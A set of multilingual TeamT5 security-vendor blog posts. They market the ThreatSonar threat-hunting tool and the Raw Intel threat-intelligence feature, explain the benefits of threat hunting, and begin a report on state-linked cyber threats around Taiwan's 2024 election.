ThreatSonarは、潜在的な脅威を迅速にスキャンする侵害評価ツールとして、侵害評価とインシデント対応の2つのシーンで使用できます。

従来のMSSPは手作業が主だったので、時間とコストがかかり、事業規模を拡大できるビジネスモデルではありませんでした。しかし現在、ThreatSonarをワークフローに導入し、専門家が簡単かつ容易に潜在的な脅威をスキャンし、顧客のセキュリティ環境の健全性を迅速に評価できるようになりました。また、ThreatSonarによって作成されたレポートを利用することで、顧客に適切なサイバーセキュリティソリューションの導入を指導できるので、完全な調達指導プロセスを実現し、より大きなビジネスチャンスを生み出すことができます。

ThreatSonarは、インシデント対応ツールとして、専門的で信頼性の高い脅威ハンティングを実施します。

従来では、インシデン対応担当者がサイバーセキュリティの脅威をチェックできるのは、毎日3台のコンピュータのみであり、完全な脅威ハンティング結果レポートを作成するのに1～4週間かかっていました。現在、MSSPはThreatSonarを運用プロセスに導入することで、1時間以内に1,000台以上のコンピュータ（または端末）をチェックすることができ、1日から1週間以内に詳細な脅威ハンティング結果レポートを提出することが可能なので、顧客の脅威排除を支援できます。

つまり、ThreatSonarを活用することで、MSSPは顧客により良い包括的なサービスを提供し、大きな利益を得ることができます。


##ThreatSonarがMSSPに新たなビジネスチャンスをもたらす方法

脅威識別・分析プラットフォームThreatSonarは、導入から利用、結果レポートの出力まで、シンプルで手間のかからないプロセスを備えています。MSSPは簡単に作業を開始できるため、チームの全体的な負担を軽減できます。また、MSSPは、侵入評価やインシデント対応などを実施する際、顧客のサイバーセキュリティ環境や当面のニーズを深く理解できるので、ビジネスチャンスと利益をもたらす拡張サイバーセキュリティソリューションを提案することができます。

##マネージドセキュリティサービスプロバイダー（MSSP）におけるThreatSonarのメリット
- **導入の簡素化**： ツールは軽量で、既存のエンドポイントソリューションと互換性があります。

- **専門的なサポート**： サイバー脅威研究で20年以上の経験を持つTeamT5の専門家が手厚くサポートします。

- **収益性の向上**： TeamT5は、スキャンしたエンドポイントの数ではなく、レポートごとに料金を請求する柔軟な支払いメカニズムを提供しています。MSSP が最初にレポートから、エンドポイントに高リスクのセキュリティ脅威があり、さらなる解釈が必要であると判断した場合、ThreatSonar レポートのロックを解除するため、お支払いをする必要があります。一方で、重大なセキュリティ脅威があるエンドポイントが見つからなかった場合は、すべてのエンドポイントスキャンレポートのロックを解除するコストを節約できます。

- **高度なサービス機会の拡大**：インシデント発生前の侵入評価とインシデント発生後の緊急対応は、企業の一般的なニーズであり、企業が早急にMSSPの支援を必要とする重要な瞬間でもあります。MSSPは、プロフェッショナルなThreatSonarプラットフォームを主要なツールとして利用することで、企業顧客向けのサイバーセキュリティサービスの質を向上させることができます。

##結論
ThreatSonarは、サイバーセキュリティのヘルスチェックに不可欠なツールです。マネージドセキュリティサービスプロバイダー（MSSP）が、エンド顧客向けに定期的なチェックを積極的に実施するに当たり、ThreatSonarは、サイバーセキュリティの健全性を把握し、万全の防御を実現するのに役立ちます。

脅威ハンティングツール ThreatSonar 完全ガイド

Staying ahead of emerging threats is paramount. At TeamT5, our dedicated analysts work tirelessly to research and translate findings into comprehensive threat intelligence reports. However, there are instances where traditional reports are not what customers are looking for. This is where Raw Intel comes in, offering invaluable real-time insights for cyber threat analysts.

Raw Intel serves as a crucial tool in our arsenal, providing users with detailed information gleaned from ongoing research efforts. When conducting searches on [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website), users may encounter Raw Intel objects associated with specific IP addresses, domains, or hashes. These objects represent a snapshot of our analysts' research within a certain timeframe, offering insights into targeted industries, employed malware, and adversary profiles.

Please note that Raw Intel is the preliminary results of TeamT5’s latest research. If you need further investigation and analysis to obtain the most accurate information, please [contact us]((https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website).


 
![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)

 

Raw Intel empowers [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) customers with three major advantages:

## Real-Time Response Capability
In the ever-evolving landscape of cyber threats, timing is critical. Threat intelligence reports, while valuable, may entail a delay due to human review processes. Raw Intel bridges this gap, empowering organizations to self-identify threats in near real-time. By leveraging Raw Intel, threat analysts can proactively respond to emerging threats, minimizing the risk of being caught off guard during attacks.

## Granular Threat Visibility
Raw Intel offers a granular view of potential threats, equipping security teams with detailed information about malicious IP addresses and samples. This level of insight enables precision in threat identification, facilitating the development of targeted defense strategies. With Raw Intel, organizations can mitigate the risk of false positives and enhance overall cybersecurity posture.

In conclusion, Raw Intel serves as a cornerstone in modern cyber threat analysis, offering real-time insights and granular visibility into emerging threats. By leveraging this invaluable resource, organizations can bolster their defenses and stay one step ahead in the ongoing battle against cyber adversaries.

## Access to Intel Regardless of Subscribed Items
Since ThreatVision’s Raw Intel is not dependent on the user being subscribed to any particular report, users are able to easily access snippets of intelligence that are important to them and their investigation even if they are not subscribed to the particular report that the intel is from.

 

>Learn more about how Raw Intel can help your organization by [contacting us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) today!

 
 
*image courtesy: Pixabay

Raw Intel’s Role in Modern Cyber Threat Intelligence

掌握先機對於應對新興威脅至關重要。在 TeamT5，我們的專業分析師努力不懈地進行研究，並將發現轉化為全面的威脅情資報告。然而，有時傳統報告並不見得符合客戶所需。此時就是原始情資（Raw Intel）發揮功能之際，為網路威脅分析師提供寶貴的及時見解。

原始情資是我們軍火庫中的一個關鍵工具，將持續進行的研究工作中所獲得的詳細資訊，提供給使用者。當使用者在 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website) 上進行搜尋時，用戶可能會遇到與特定 IP 地址、域名或雜湊相關的原始情資標的。這些標的代表我們分析師在特定時間範圍內的研究概要，提供有關目標產業、使用的惡意軟體和攻擊族群檔案的見解。

 

![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)

 

提醒您，原始情資是 TeamT5 最新研究的初步結果。如果您需要進一步的調查和分析以獲得最準確的資訊，請[與我們聯繫]((https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) 。

原始情資為 ThreatVision 客戶提供了三個主要優勢：
## 及時應變能力
在網路威脅不斷演變的情況下，時機至關重要。儘管威脅情資報告很有價值，但由於人工審查流程需要時間，可能會有延遲。原始情資彌補了這一差距，使組織能夠近乎及時地自我識別威脅。透過利用原始情資，威脅分析師可以主動應對新興威脅，最大程度地減少在攻擊中措手不及的風險。

## 細化威脅的能見度
原始情資提供了對潛在威脅的細節化視角，為安全團隊提供了有關惡意 IP 地址和樣本的詳細資訊。這種洞察水準使威脅識別更加精準，有助於制定針對性的防禦策略。憑藉原始情資，組織可以降低誤報風險，增強整體網絡安全性。

## 無論訂閱的項目為何，都能獲得原始情資
不論訂閱項目為何，使用者都能輕鬆取得對他們重要的情資片段。即使未訂閱該情資來源的特定報告，也能對他們的調查有所幫助。

簡言之，原始情資在現代網路威脅分析中扮演著重要角色，提供及時見解和新興威脅的細節的能見度。透過利用這一寶貴資源，組織可以加強其防禦措施，在持續與網路威脅族群作戰中，保持領先地位。

 

>現在就[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解更多原始情資如何助您的組織一臂之力！

*首圖來源: Pixabay

原始情資（Raw Intel）在現今網路威脅情資中所扮演的角色為何？ 

サイバーセキュリティ保護において、新たな脅威に先手を打つことは最も重要な対策です。 TeamT5 では、専任のアナリストが精力的に調査を実施し、その結果を包括的な脅威インテリジェンスレポートにまとめています。しかし、従来のレポートが必ずしも顧客のニーズに適合するとは限りません。ここで、サイバー脅威アナリストに貴重かつリアルタイムな知見を提供するRaw Intelの出番です。


Raw Intelは、継続的な調査から得られた詳細な情報をユーザーに提供する、ThreatVision の重要なツールです。[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)で検索を行うと、特定のIPアドレス、ドメイン、ハッシュに関連付けられているRaw Intelオブジェクトが表示される場合があります。これらのオブジェクトは、特定の期間におけるアナリストの調査概要を表しており、標的となる業界、使用されているマルウェア、攻撃者のプロファイルに関する知見を提供します。


なお、Raw Intelは TeamT5 における最新の調査結果です。最も正確な情報を取得するための更なる調査と分析が必要な場合は、当社まで[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)ください。

 
![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)
 

Raw Intelは、ThreatVision を利用する顧客に 3 つの大きなメリットをもたらします：

##リアルタイムな対応能力
日々進化するサイバー脅威に対し、タイミングは非常に重要です。そのため、脅威インテリジェンスレポートは重宝されますが、手動による
サイバー脅威は常に進化しているため、タイミングが非常に重要です。脅威インテリジェンス レポートは貴重ですが、手動によるレビュー プロセスに時間がかかるため、遅れが生じる可能性があります。Raw Intelはこのギャップを埋め、組織がほぼリアルタイムで脅威を自己識別できるようにします。つまり、Raw Intelを活用することで、脅威アナリストは新たな脅威に積極的に対応し、攻撃時に不意を突かれるリスクを最小限に抑えることができます。



##細分化された脅威の可視性
Raw Intelは潜在的な脅威を詳細に把握し、悪意のある IP アドレスやサンプルに関する詳細な情報をセキュリティ チームに提供します。このレベルの知見により、更に正確な脅威の特定が可能となり、標的を絞った防御戦略の策定が容易になります。また、Raw Intelを利用することで、組織は誤検知のリスクを軽減し、全体的なサイバーセキュリティ態勢を強化することができます。



##登録しているプランに関係なくIntelにアクセス可能
ThreatVisionのRaw Intelは、Intelの元となる特定のレポートを購読していなくても、登録しているプランに関係なく、ユーザーは自身や調査に必要とする重要なインテリジェンスの一部に簡単にアクセスできます。


結論として、Raw Intelは現代のサイバー脅威分析において、新たな脅威に対するリアルタイムの洞察と細分化された可視性を提供します。この貴重なリソースを活用することで、組織は防御を強化し、サイバー攻撃者との継続的な戦いにおいて、常に一歩先を行くことができます。


Raw Intelが組織にどのように役立つかについて、更に詳しく知りたい方は、是非お問い合わせください。

[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

 

*画像のソース:: Pixabay

今日のサイバー脅威インテリジェンスにおける Raw Intel の役割とは?

TeamT5 は、行動指向でローカライズされた脅威インテリジェンスを提供しており、企業がサイバー攻撃を予測し、事前に防御戦略を展開できるようサポートいたします。

フォームにご記入いただくと、日本向けにカスタマイズされたインテリジェンスレポートをお受け取りいただけます。

<center>![update_pic_threat-intelligence-report-2024-exclusive-for-japan.png](https://uploads.teamt5.org/upload/original/update_pic_threat-intelligence-report-2024-exclusive-for-japan.png)</center>

【脅威インテリジェンスレポート】サイバー脅威の現状を把握して、先手を打ちましょう！

In the dynamic landscape of cybersecurity, enterprises face persistent and evolving threats that can compromise their systems and sensitive data. Compromise assessment and threat hunting play a crucial role in fortifying an enterprise's security posture. Here are five compelling reasons why these practices are essential:

### 1. Identify vulnerabilities: Enhancing Security Posture

Intrusion assessments assist organizations in identifying potential vulnerabilities in their systems. By identifying vulnerabilities in enterprise systems that may be exploited by attackers and taking further measures to repair these vulnerabilities, the overall security defense and resilience of the enterprise can be strengthened.

### 2. Protect Sensitive Data: Safeguarding Customer and Employee Information

One of the primary goals of intrusion assessment is to protect sensitive information. Whether it refers to customer data, employee details or business data, threat hunting helps prevent cybercriminals from stealing this sensitive information.

### 3. Ensure Compliance: Meeting Regulatory Requirements

In some industries, such as healthcare and finance, strict regulations require companies to conduct regular intrusion assessments to ensure compliance requirements are met.

Regular assessments using threat hunting tools not only ensure your company is compliant, but also build a complete cybersecurity strategy and resilience.

### 4. Improving Incident Response: Critical in the Face of Cyber Attacks

Compromise assessments contribute significantly to the development and improvement of incident response plans. In the event of a cyberattack, having a well-structured response plan is critical. Identifying compromises early on allows enterprises to refine and implement effective incident response strategies promptly.

### 5. Building Trust with Clients and Stakeholders: Demonstrating Proactive Security Measures

By conducting intrusion assessment and threat hunting, enterprises can send a positive message to customers and stakeholders, showing that the enterprise is actively taking measures to protect its systems and data, and build trust and confidence.

## Conclusion 

Compromise assessment and threat hunting are not just reactive measures but proactive strategies that enterprises must embrace in the face of evolving cyber threats. By identifying vulnerabilities, protecting sensitive data, ensuring compliance, improving incident response, and building trust, these practices become essential components of a comprehensive cybersecurity strategy. In a digital era where threats are constant, enterprises that prioritize these assessments are better equipped to navigate the complexities of the cyber landscape and safeguard their digital assets.

 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.

>The threat hunting tool we developed, ThreatSonar, has been adopted by many large enterprises, financial industries and managed security service providers (MSSPs).

 
>If you are an enterprise, please contact us immediately and use the product demonstration demo to fully grasp the excellent defense benefits brought by threat hunting.

>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end customers.

>https://teamt5.org/en/contact-us/


 
*key words: cyber threat hunting, threat hunting

*Picture source: pixabay

5 Benefits of Threat Hunting Strategies for Enterprises

在千變萬化的網路與資訊安全環境中，企業面臨持續且不斷變化的威脅，這些威脅可能會損害其系統和敏感資料。入侵評估（compromise assessment ）和威脅狩獵（threat hunting）在加強企業的資安防禦方面，發揮著至關重要的作用。 

以下是企業採納威脅狩獵策略的 5 個好處：

### 1. 識別漏洞：增強資安韌性

入侵評估可協助企業識別其系統中的潛在漏洞。 藉由找出企業系統內可能被攻擊者利用的漏洞，並進一步採取措施、修復這些漏洞，方能加強企業整體安全防禦與韌性。

### 2. 保護敏感資料：保護客戶和員工資訊

入侵評估的主要目標之一是保護敏感資料。無論是客戶資訊、員工詳細資訊或商業數據等機敏資訊，威脅狩獵都有助於防止網路犯罪分子竊取此類關鍵資訊。

### 3. 確保遵循法規：滿足監管要求

在某些產業，例如醫療保健和金融，嚴格的法規要求企業定期進行入侵評估，以確保滿足合規性要求。 
使用威脅狩獵工具進行定期評估，不僅可以確保公司合規，還可以建立完整的資訊安全策略與韌性。

### 4. 優化資安事件應變：面對網路攻擊至關重要

入侵評估對事件應變計畫的制定和改進，扮演關鍵角色。 如果發生網路攻擊，制定良好嚴謹的應變計畫十分重要。 及早識別危害使企業能夠及時改善和實施有效的資安事件應變策略。

### 5. 與客戶和利害關係人建立信任：展示積極主動的安全措施

進行入侵評估和威脅狩獵，企業能向客戶和利害關係人發出了正向的訊息，顯示企業積極採取措施保護其系統和數據，建立信任與信心。

## 結論

入侵評估和威脅狩獵不僅僅是應變措施，也是企業面對不斷變化的網路威脅時必須採取的主動策略。 透過識別漏洞、保護敏感資料、確保遵循法規、改進資安事件應變和建立信任，這些是企業建立全面、完整的資訊安全策略之重要組成環節。 

在威脅不斷、攻擊不止的數位時代，優先考慮入侵評估和威脅狩獵作法的企業，能夠更好地應對複雜的網路環境並保護其數位資產。

 
 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多大型企業、金融產業及資安代管服務廠商（MSSP）採用。

 
>如果您是企業，請立即連絡我們，透過產品展示 Demo，徹底掌握威脅狩獵帶來的絕佳防禦效益。

>如果您是資安代管服務廠商，請即刻聯絡我們，共同討論如何為終端客戶強化資安韌性，並且創造商機。
>https://teamt5.org/tw/contact-us/


 
 
*圖片來源: Pixabay

企業採納威脅狩獵策略的 5 個好處

絶え間なく進化するネットワークとサイバーセキュリティ環境において、企業はシステムや機密データが侵害される脅威に直面しています。侵害評価(compromise assessment)と脅威ハンティング(threat hunting)は、企業のサイバー防御を強化する上で重要な役割を果たします。

ここでは、企業が脅威ハンティング戦略を採用する 5 つのメリットについて説明します：


###1. 脆弱性の特定: サイバーレジリエンスの強化
侵入評価は、企業がシステム内の潜在的な脆弱性を特定することに役立ちます。攻撃者に悪用される可能性のある企業システムの脆弱性を特定し、これらの脆弱性を修復するためのさらなる対策を講じることで、企業全体のサイバー防御力と回復力を強化することができます。


###2. 機密データの保護: 顧客と従業員情報の保護
侵入評価の主な目的の1つは、機密情報を保護することです。顧客情報、従業員情報、ビジネスデータなどの機密情報であっても、脅威ハンティングは、サイバー犯罪者によってこれらの機密情報が盗まれるのを防ぐことに役立ちます。


###3. コンプライアンスの確保: 規制要件の適合
医療や金融などの一部の業界では、厳格な規制により、コンプライアンス要件が満たされていることを確認するため、定期的な侵入評価を実施することが義務付けられています。

脅威ハンティングツールを使用した定期的な評価は、企業のコンプライアンスを遵守していることを確認するだけでなく、完全なサイバーセキュリティ戦略とレジリエンスを構築します。


###4. インシデント対応力の向上:サイバー攻撃に直面した場合での重要性
侵入評価は、インシデント対応計画の策定と改善に大きく貢献します。サイバー攻撃が発生した場合、体系化された対応計画を持つことは極めて重要であり、侵害を早期に特定することで、企業は効果的なインシデント対応戦略を迅速に練り上げ、実施することができます。

###5. 顧客や関係者との信頼関係の構築: 積極的なセキュリティ対策の掲示
侵入評価と脅威ハンティングを実施することで、企業は顧客や関係者に、自社システムやデータを保護するための対策を積極的に講じていることを積極的に示し、信頼と信用を築くことができます。


##結論
侵入評価と脅威ハンティングは、進化し続けるサイバー脅威に直面する企業にとって、単なる緊急対応策ではなく、主動的なサイバー防御戦略です。脆弱性の特定、機密データの保護、コンプライアンスの確保、インシデント対応力の向上や信頼関係の構築を実践することで、包括的なサイバーセキュリティ戦略の不可欠な要素となります。脅威が絶えないデジタル時代において、これらの実践を優先する企業は、複雑なサイバー環境を乗り切り、デジタル資産を保護するためのより良い体制を整えることが可能になります。

 
 

>**TeamT5**の脅威ハンティングツールThreatSonarは、独自の「メモリフォレンジック」技術を搭載しており、合法なプログラムに偽装した不正プログラムを正規プログラムに注入する攻撃者の攻撃手法を特定し、悪意のあるプログラムの中継局を見つけることが可能なので、さらなる脅威の侵入をブロックできます。
>
>**ThreatSonar**が搭載している最先端の脅威ハンティング技術は、以下の潜在的な脅威を特定・発見し、企業のセキュリティ耐性を強化します：
- 実行済みのプログラム、実行予定のプログラム(Executed/Autorun programs threat hunting)
- メモリに隠された悪意のあるプログラムの検出と特定（メモリフォレンジック）
- 攻撃者のハッキングツール
- 疑わしいアーティファクト（攻撃後ホストに残された記録など）
- Living Off The Land Binaries And Scripts (LOLBAS)
- サイバーハイジーン
>
>サイバーセキュリティ環境が変化し続ける中、企業の包括的なサイバーセキュリティ戦略に脅威ハンティングを組み込むことの重要性が高まっており、重要なビジネスの機密データを保護して事業運営の堅牢性を維持し、サイバーセキュリティの強靭性を確立するのに役立ちます。

> もっと詳しく知る : [ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)


 

*画像のソース: Pixabay

企業が脅威ハンティング戦略を採用する5つのメリット

Today's enterprises continue to face increasingly complex security threats; in order to deal with these challenges, threat hunting is an indispensable strategy.

Enterprises cooperate with professional threat hunting teams and use threat hunting tools based on the latest threat intelligence to help enterprises take proactive defensive measures, strengthen the enterprise's cybersecurity resilience, and ensure uninterrupted business operations.

### 1. Proactively look for potential threats
Threat hunting is different from passive cybersecurity defense methods. It not only relies on known attack patterns, but also actively hunts unknown threats. Through proactive threat hunting, enterprises can take preventive measures before attacks occur, greatly improving their defense capabilities.

### 2. Reduce the attacker’s residence time
A successful attack often depends on how long the attacker remains on the corporate network. Threat hunting can significantly reduce the time attackers have to influence corporate networks, reduce the possibility of damage, and improve overall security.

### 3. Improve incident response efficiency
Rapid response after a security incident occurs is crucial. Threat hunting enhances an enterprise's incident response efficiency by providing more comprehensive and real-time threat intelligence. Security professionals can more quickly identify the source and method of attacks, take appropriate action, mitigate damage, and quickly restore normal operations.

###4. Adapt to the changing threat environment
Threat hunting is powered by the latest security intelligence, allowing enterprises to more flexibly adjust their security strategies to respond to emerging threats. This adaptability enables enterprises to better respond to the evolving threat environment, ensures that their security measures and strategies are future-proof, and strengthens the overall security resilience of the enterprise.


## Conclusion
The benefit of threat hunting is not only to help enterprises adapt to detect threats, but also to improve enterprises' ability to adapt to continuously evolving security challenges. This kind of proactiveness, immediacy and adaptability makes threat hunting an integral part of strengthening enterprise security resilience and helping to protect enterprises from emerging security threats.

 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.

>The threat hunting tool we developed, ThreatSonar, has been adopted by many large enterprises, financial industries and managed security service providers (MSSPs).

 
>If you are an enterprise, please contact us immediately and use the product demonstration demo to fully grasp the excellent defense benefits brought by threat hunting.

>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end customers.

>https://teamt5.org/en/contact-us/

 
*key words: cyber threat hunting, threat hunting

*Picture source: pixabay

The benefits of threat hunting: The key to greater security resilience for enterprise

當今企業持續面臨日漸複雜的資安威脅；為了應對這些挑戰，威脅狩獵是不可或缺的策略。

企業與專業的威脅狩獵團隊合作，採用基於最新威脅情資的威脅狩獵工具，協助企業採取主動積極的防禦措施，強化企業的資安韌性，確保業務營運不中斷。

### 1. 主動尋找潛在威脅
威脅狩獵有別於被動的資安防禦方式，不僅僅是依賴已知的攻擊模式，主動獵捕未知的威脅。透過主動威脅獵捕，企業能夠在攻擊發生前採取預防措施，大幅提升防禦能力。


### 2. 降低攻擊者的滯留時間
一個成功的攻擊往往取決於攻擊者在企業網路中的滯留時間。威脅狩獵可大幅縮減攻擊者影響企業網路的時長，減少損害的可能性，提高整體的安全性。

### 3. 提高資安事件應變效率
資安事件發生後的迅速應變至關重要。威脅狩獵透過提供更全面、即時的威脅情資，增強企業的事件應對效率。資安專業人員能夠更快速地識別攻擊的來源和方法，採取適當的措施，降低損害並快速恢復正常運作。

### 4. 適應不斷變化的威脅環境
威脅狩獵奠基於最新的資安情資，使企業能夠更靈活地調整其資安策略以應對新興的威脅。這種適應性使企業能夠更好地應對不斷演變的威脅環境，確保其資安措施和策略不會過時，強化企業整體的資安韌性。

## 結論
威脅狩獵的好處不僅是協助企業應變發現威脅，更可提高企業適應持續演變的資安挑戰。這種主動性、即時性和適應性使得威脅狩獵成為強化企業資安韌性的不可或缺的一環，有助於保護企業免受新興的資安威脅。

 
 
 
 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多大型企業、金融產業及資安代管服務廠商（MSSP）採用。

 
>如果您是企業，請立即連絡我們，透過產品展示 Demo，徹底掌握威脅狩獵帶來的絕佳防禦效益。

>如果您是資安代管服務廠商，請即刻聯絡我們，共同討論如何為終端客戶強化資安韌性，並且創造商機。
>https://teamt5.org/tw/contact-us/

 
 
*圖片來源: Pixabay

威脅狩獵對企業的好處：強化資安韌性的關鍵

今日の企業は、ますます複雑化するサイバーセキュリティの脅威に直面し続けており、こうした課題に対処するために、脅威ハンティングは不可欠な戦略です。

企業は、プロの脅威ハンティングチームと協力し、最新の脅威インテリジェンスに基づく脅威ハンティングツールを使用することで、積極的な防御策を講じて、サイバーセキュリティ耐性を強化し、中断することのない事業運営を確保できるようにします。

##1. 潜在的脅威の積極的な特定
脅威ハンティングは、受動的なサイバー防御手法とは異なります。既知の攻撃パターンに依存するだけでなく、未知の脅威を積極的に探索します。積極的な脅威ハンティングにより、企業は攻撃が発生する前に予防措置を講じることができ、防御能力を大幅に向上させることができます。


##2. 攻撃者の滞在時間の短縮
サイバー攻撃が成功するかどうかは、攻撃者が企業ネットワークにどれだけ長く留まるかによって決まります。脅威ハンティングは、攻撃者が企業ネットワークに影響を及ぼす時間を大幅に短縮し、被害の可能性を減らすので、全体的なセキュリティを向上させることができます。


##3. インシデント対応の効率化
サイバーセキュリティインシデント発生後の迅速な対応は極めて重要です。脅威ハンティングは、より包括的でリアルタイムの脅威インテリジェンスを提供することで、企業のインシデント対応効率を高めます。これにより、セキュリティ専門家は、攻撃源と攻撃方法をより迅速に特定し、適切な措置を講じて被害を軽減し、通常の業務を迅速に復旧することができます。


##4. 変化する脅威環境に適応する
脅威ハンティングは最新のセキュリティインテリジェンスを搭載しているため、企業は自社のセキュリティ戦略をより柔軟に調整し、新たな脅威に対応することができます。この適応性により、企業は進化する脅威環境に的確に対応し、セキュリティ対策と戦略の将来性を確保し、企業の全体的なセキュリティ耐性を強化することができます。

##結論
脅威ハンティングのメリットは、企業が脅威を検知して対処するのを支援するだけでなく、絶えず進化するセキュリティ上の課題に対し、企業の適応能力を向上させることにもあります。このようなプロアクティブ性、即時性、適応性により、脅威ハンティングは企業のサイバーレジリエンスを強化し、新たなセキュリティ脅威から企業を保護するために不可欠な要素となります。

 
 

>**TeamT5**の脅威ハンティングツールThreatSonarは、独自の「メモリフォレンジック」技術を搭載しており、合法なプログラムに偽装した不正プログラムを正規プログラムに注入する攻撃者の攻撃手法を特定し、悪意のあるプログラムの中継局を見つけることが可能なので、さらなる脅威の侵入をブロックできます。
>
>**ThreatSonar**が搭載している最先端の脅威ハンティング技術は、以下の潜在的な脅威を特定・発見し、企業のセキュリティ耐性を強化します：
- 実行済みのプログラム、実行予定のプログラム(Executed/Autorun programs threat hunting)
- メモリに隠された悪意のあるプログラムの検出と特定（メモリフォレンジック）
- 攻撃者のハッキングツール
- 疑わしいアーティファクト（攻撃後ホストに残された記録など）
- Living Off The Land Binaries And Scripts (LOLBAS)
- サイバーハイジーン
>
>サイバーセキュリティ環境が変化し続ける中、企業の包括的なサイバーセキュリティ戦略に脅威ハンティングを組み込むことの重要性が高まっており、重要なビジネスの機密データを保護して事業運営の堅牢性を維持し、サイバーセキュリティの強靭性を確立するのに役立ちます。

> もっと詳しく知る : [ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)

 
*画像のソース: pixabay

企業における脅威ハンティングのメリット： サイバーレジリエンスを高める鍵

## 2024年台湾総統選挙とその後のサイバーセキュリティの課題


2024年は世界各地で選挙が行われる記録的な年であり、世界人口の約半数を占める60カ国以上で国政選挙が実施されます。2024年1月13日、台湾では総統選挙と立法委員選挙が行われ、世界的な選挙イヤーの幕開けとなりました。
TeamT5は、この選挙がサイバー攻撃による妨害を受けることなく、スムーズに終了したことを喜ばしく思います。そして、この成果は多くの個人や組織の努力と献身の賜物であり、彼らの努力の積み重ねこそが、選挙の安全性と信頼性を確保したと確信しています。

しかし、どんなに成功を収めたとしても、国家支援によるサイバー脅威がもたらす課題を見過ごしてはなりません。当社は、国家と連携した影響工作(Infuluence Operation)や標的型攻撃(Advanced Persistant Threat)グループに関連する、数多くの悪意のある活動や偽情報キャンペーンの特定および分析を精力的に続けてきました。本稿では、これらの攻撃者が使用する具体的な戦術、技術、手順(Tactics / Techniques / Procedures)について詳述し、彼らの活動に関する貴重な知見を共有いたします。

また、サイバー脅威の状況は常に変化しており、攻撃者は常に新しい攻撃手法を考案しています。今回の選挙期間中、これらの攻撃者が能力を強化し、より洗練された革新的なテクニックを駆使して、更に広範なプラットフォームを標的にしていることが発覚しました。本稿は、当社の発見を共有するだけでなく、潜在的な脅威に先んじるためにサイバー防衛戦略を継続的に更新することの重要性についても説明します。

最後に、当社は上記のようなサイバー脅威に対抗するため、脅威インテリジェンスを強化させることを約束します。 本稿を通じて、当社の戦略的知見を共有し、他の民主主義国家、特に選挙を間近に控えた国家が、民主主義プロセスの混乱を目的としたサイバー攻撃についてより深く理解できることを目指します。そして、本稿が民主主義諸国のサイバー脅威インテリジェンス専門家にとって実用的なリソースとなり、サイバー脅威を効果的に予測し、軽減する一助となることを願っています。

## Research Highlights 
1. 2024年の選挙を前に、台湾は数多くの巧妙なサイバー脅威に直面してきました。いずれも民主的プロセスを不安定にし、選挙制度に対する国民の信頼を損なわせることが目的でした。また、全体的に見ると、標的型攻撃の大部分を中国系の攻撃者が占めていました。

2. 中国のAPTグループは、台湾の複数の団体、特にジャーナリズムとメディア業界を標的にしています。ここで注目すべき点は、民主派や泛緑のメディアだけがサイバー攻撃の餌食になっているわけではないことです。当社データベースによれば、統一派や親中派と認識されている台湾国内のテレビ局や新聞社も主要な標的となっています。

3. 一方で、中国はソーシャルメディアプラットフォームを駆使し、台湾に対する偽情報やプロパガンダを広めています。2023年初頭から、与党を攻撃する不審な活動がまばらに観測されましたが、重大な影響工作が確認されたのは11月以降です。選挙期間中の中国の影響工作について、3つの主要な傾向は以下の通りです。： 

 (1). 対象範囲の拡大 
 (2). 様々なプラットフォームのAIを活用したキャンペーン 
 (3). フェイクニュースサイトと内部告発サイト 

4. 2023年11月下旬以降、台湾の現与党である民進党に対し、国民の信頼を低下させることを目的とした上記のような影響力工作に準じて、中国が関与したハッキングやリーク事件が確認されました。 これらのキャンペーンは「ハック・アンド・リーク」の手法を戦略的に採用したことを示しており、ハイブリッド戦争の戦術における顕著な転換であると見なせます。また、当社は「オペレーションスクープスパイ」と呼ばれる重大なキャンペーンを注視しています。彼らの目的は、選挙でどの候補者や政党が勝とうとも、混乱を巻き起こし、民主化推進派の政治家の信用を失墜させることである可能性が高いです。

5. 台湾の政治情勢に影響を与えようとする中国のアプローチ、特に2024年の選挙前後は、長期的な戦略を強調しています。更に、中国とつながりのあるAPTグループや影響工作は、標的を深く理解しており、徹底的な準備と調査を行っていることがわかります。このような綿密な下準備が、サイバースパイ活動と影響工作との間に厄介な相乗効果をもたらしています。


